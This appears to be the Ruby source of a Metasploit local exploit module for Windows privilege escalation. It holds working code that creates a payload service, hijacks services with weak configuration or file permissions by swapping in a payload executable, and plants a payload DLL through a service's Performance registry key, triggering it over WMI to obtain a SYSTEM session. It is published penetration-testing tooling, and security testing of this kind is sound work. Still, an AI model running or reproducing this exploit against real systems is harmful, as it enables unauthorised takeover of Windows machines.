310 lines
10 KiB
Ruby
310 lines
10 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Post::Windows::Services
|
|
include Msf::Post::Windows::Accounts
|
|
include Msf::Post::Windows::Registry
|
|
include Msf::Post::Windows::WMIC
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
|
|
ERROR = Msf::Post::Windows::Error
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Windows Escalate Service Permissions Local Privilege Escalation',
|
|
'Description' => %q{
|
|
This module attempts to exploit existing administrative privileges to obtain
|
|
a SYSTEM session. If directly creating a service fails, this module will inspect
|
|
existing services to look for insecure configuration, file or registry permissions that may
|
|
be hijacked. It will then attempt to restart the replaced service to run the
|
|
payload. This will result in a new session when this succeeds.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'scriptjunkie', # service and file permission techniques
|
|
'Spencer McIntyre', # registry permission technique
|
|
'itm4n' # registry permission technique
|
|
],
|
|
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
|
'Platform' => [ 'win' ],
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
'WfsDelay' => '5'
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic', {} ],
|
|
],
|
|
'References' => [
|
|
['URL', 'https://itm4n.github.io/windows-registry-rpceptmapper-eop/']
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2012-10-15'
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptBool.new('AGGRESSIVE', [ false, 'Exploit as many services as possible (dangerous)', false ])
|
|
])
|
|
register_advanced_options([
|
|
OptString.new('TargetServiceName', [ false, 'The name of a specific service to target', false ])
|
|
])
|
|
deregister_options('RHOST', 'SMBUser', 'SMBPass', 'SMBDomain')
|
|
end
|
|
|
|
def execute_payload_as_new_service(path)
|
|
success = false
|
|
|
|
print_status('Trying to add a new service...')
|
|
service_name = Rex::Text.rand_text_alpha((rand(6..13)))
|
|
if service_create(service_name, { path: path, display: '' }) == ERROR::SUCCESS
|
|
print_status("Created service... #{service_name}")
|
|
write_exe(path, service_name)
|
|
if service_start(service_name) == ERROR::SUCCESS
|
|
print_good('Service should be started! Enjoy your new SYSTEM meterpreter session.')
|
|
success = true
|
|
end
|
|
|
|
service_delete(service_name)
|
|
else
|
|
print_status('No privileges to create a service...')
|
|
success = false
|
|
end
|
|
|
|
return success
|
|
end
|
|
|
|
def weak_service_permissions(service_name, service, path)
|
|
success = false
|
|
vprint_status("[#{service_name}] Checking for weak service permissions")
|
|
|
|
if (service_change_config(service_name, { path: path }) == ERROR::SUCCESS)
|
|
print_good("[#{service_name}] has weak configuration permissions - reconfigured to use exe #{path}")
|
|
print_status("[#{service_name}] Restarting service")
|
|
res = service_stop(service_name)
|
|
|
|
if ((res == ERROR::SUCCESS) || (res == ERROR::SERVICE_NOT_ACTIVE))
|
|
write_exe(path, service_name)
|
|
if service_restart(service_name)
|
|
print_good("[#{service_name}] Service restarted")
|
|
success = true
|
|
else
|
|
print_error("[#{service_name}] Unable to restart service")
|
|
end
|
|
end
|
|
|
|
unless (service_change_config(service_name, { path: service[:path] }) == ERROR::SUCCESS)
|
|
print_error("[#{service_name}] Failed to reset service to original path #{service[:path]}")
|
|
end
|
|
end
|
|
|
|
return success
|
|
end
|
|
|
|
def weak_file_permissions(service_name, service, _path, token)
|
|
success = false
|
|
vprint_status("[#{service_name}] Checking for weak file permissions")
|
|
|
|
# get path to exe; parse out quotes and arguments
|
|
original_path = service[:path]
|
|
possible_path = expand_path(original_path)
|
|
if (possible_path[0] == '"')
|
|
possible_path = possible_path.split('"')[1]
|
|
else
|
|
possible_path = possible_path.split(' ')[0]
|
|
end
|
|
|
|
unless file?(possible_path)
|
|
# If we can't determine it manually show the user and let them decide if manual inspection is worthwhile
|
|
print_status("[#{service_name}] Cannot reliably determine path: #{possible_path}")
|
|
end
|
|
|
|
file_permissions = check_dir_perms(possible_path, token)
|
|
|
|
if file_permissions && file_permissions.index('W')
|
|
print_good("[#{service_name}] Write access to #{possible_path}")
|
|
|
|
begin
|
|
status = service_status(service_name)
|
|
no_access = false
|
|
# Unless service is already stopped
|
|
if status[:state] == SERVICE_STOPPED
|
|
stopped = true
|
|
else
|
|
res = service_stop(service_name)
|
|
stopped = ((res == ERROR::SUCCESS) || (res == ERROR::SERVICE_NOT_ACTIVE))
|
|
end
|
|
rescue RuntimeError => e
|
|
vprint_error("[#{service_name}] #{e} ")
|
|
no_access = true
|
|
end
|
|
|
|
if stopped || no_access
|
|
begin
|
|
if move_file(possible_path, "#{possible_path}.bak")
|
|
write_exe(possible_path, service_name)
|
|
print_status("[#{service_name}] #{possible_path} moved to #{possible_path}.bak and replaced.")
|
|
if service_restart(service_name) # rubocop:disable Metrics/BlockNesting
|
|
print_good("[#{service_name}] Service restarted")
|
|
success = true
|
|
else
|
|
print_error("[#{service_name}] Unable to restart service")
|
|
end
|
|
end
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
vprint_error("[#{service_name}] #{e}")
|
|
end
|
|
else
|
|
vprint_error("[#{service_name}] Unable to stop service")
|
|
end
|
|
end
|
|
|
|
return success
|
|
end
|
|
|
|
def weak_registry_permissions(service_name)
|
|
# check the system and payload architectures are compatible, otherwise this technique won't work
|
|
return false if sysinfo['Architecture'] != payload_arch
|
|
|
|
vprint_status("[#{service_name}] Checking for weak registry permissions")
|
|
backup = nil
|
|
|
|
reg_key = "HKLM\\System\\CurrentControlSet\\Services\\#{service_name}\\Performance"
|
|
if registry_enumvals(reg_key).nil?
|
|
return false unless registry_createkey(reg_key)
|
|
|
|
print_good("[#{service_name}] Created registry key: #{reg_key}")
|
|
else
|
|
backup = {}
|
|
# backup values to restore later
|
|
%w[Library Open Collect Close].each do |value|
|
|
backup[value] = registry_getvaldata(reg_key, value)
|
|
end
|
|
end
|
|
|
|
envs = get_envs('TEMP')
|
|
|
|
dll_path = "#{envs['TEMP']}\\#{Rex::Text.rand_text_alpha(8)}.dll"
|
|
vprint_status("[#{service_name}] Writing payload DLL to #{dll_path}")
|
|
write_file(dll_path, generate_payload_dll)
|
|
register_files_for_cleanup(dll_path)
|
|
|
|
success = true
|
|
success &&= registry_setvaldata(reg_key, 'Library', dll_path, 'REG_SZ')
|
|
success &&= registry_setvaldata(reg_key, 'Open', 'OpenPerfData', 'REG_SZ')
|
|
success &&= registry_setvaldata(reg_key, 'Collect', 'CollectPerfData', 'REG_SZ')
|
|
success &&= registry_setvaldata(reg_key, 'Close', 'ClosePerfData', 'REG_SZ')
|
|
|
|
# don't use session_count to accurately account for AGGRESSIVE mode
|
|
session_count = self.session_count
|
|
if success
|
|
vprint_status("[#{service_name}] Triggering the payload via WMI...")
|
|
wmic_query('Path Win32_Perf Get', server = 'localhost') # rubocop:disable Lint/UselessAssignment
|
|
end
|
|
|
|
if backup.nil?
|
|
registry_deletekey(reg_key)
|
|
else
|
|
backup.each_pair do |value, data|
|
|
if data.nil?
|
|
registry_deleteval(reg_key, value)
|
|
else
|
|
registry_setvaldata(reg_key, value, data, 'REG_SZ')
|
|
end
|
|
end
|
|
end
|
|
|
|
return false unless success
|
|
|
|
# reuse the WMI command timeout since execution is dependent on the WMI command trigger
|
|
0.upto(datastore['TIMEOUT']) do |_|
|
|
sleep(1)
|
|
break if self.session_count > session_count
|
|
end
|
|
|
|
self.session_count > session_count
|
|
end
|
|
|
|
# If ServiceType is SERVICE_WIN32_SHARE_PROCESS then we need to
|
|
# define the correct servicename.
|
|
def write_exe(path, service_name = nil)
|
|
vprint_status("[#{service_name}] Writing service executable to #{path}")
|
|
exe = generate_payload_exe_service({ servicename: service_name, arch: payload_arch })
|
|
write_file(path, exe)
|
|
register_files_for_cleanup(path)
|
|
end
|
|
|
|
def payload_arch
|
|
if payload.arch.include?(ARCH_X64)
|
|
return ARCH_X64
|
|
else
|
|
return ARCH_X86
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
if is_system?
|
|
fail_with(Failure::None, 'Session is already elevated')
|
|
end
|
|
|
|
if sysinfo['Architecture'] != payload_arch
|
|
print_error('The registry technique will be skipped because the payload architecture does not match the native system architecture')
|
|
end
|
|
tempexe_name = "#{Rex::Text.rand_text_alpha(rand(6..13))}.exe"
|
|
|
|
dir_env = get_envs('SystemRoot', 'TEMP')
|
|
tmpdir = dir_env['TEMP']
|
|
tempexe = "#{tmpdir}\\#{tempexe_name}"
|
|
|
|
if datastore['TargetServiceName'].blank?
|
|
begin
|
|
return if execute_payload_as_new_service(tempexe)
|
|
rescue RuntimeError => e
|
|
vprint_status("Unable to create a new service: #{e}")
|
|
end
|
|
end
|
|
|
|
aggressive = datastore['AGGRESSIVE']
|
|
|
|
print_status('Trying to find weak permissions in existing services..')
|
|
|
|
token = get_imperstoken
|
|
each_service do |serv|
|
|
service_name = serv[:name]
|
|
next unless (datastore['TargetServiceName'].blank? || datastore['TargetServiceName'].downcase == service_name.downcase)
|
|
|
|
service = service_info(service_name)
|
|
|
|
begin
|
|
return if weak_file_permissions(service_name, service, tempexe, token) && !aggressive
|
|
rescue RuntimeError => e
|
|
vprint_status("[#{serv[:name]}] #{e}")
|
|
end
|
|
|
|
begin
|
|
return if weak_service_permissions(service_name, service, tempexe) && !aggressive
|
|
rescue RuntimeError => e
|
|
vprint_status("[#{serv[:name]}] #{e}")
|
|
end
|
|
|
|
begin
|
|
return if weak_registry_permissions(service_name) && !aggressive
|
|
rescue RuntimeError => e
|
|
vprint_status("[#{serv[:name]}] #{e}")
|
|
end
|
|
end
|
|
end
|
|
end
|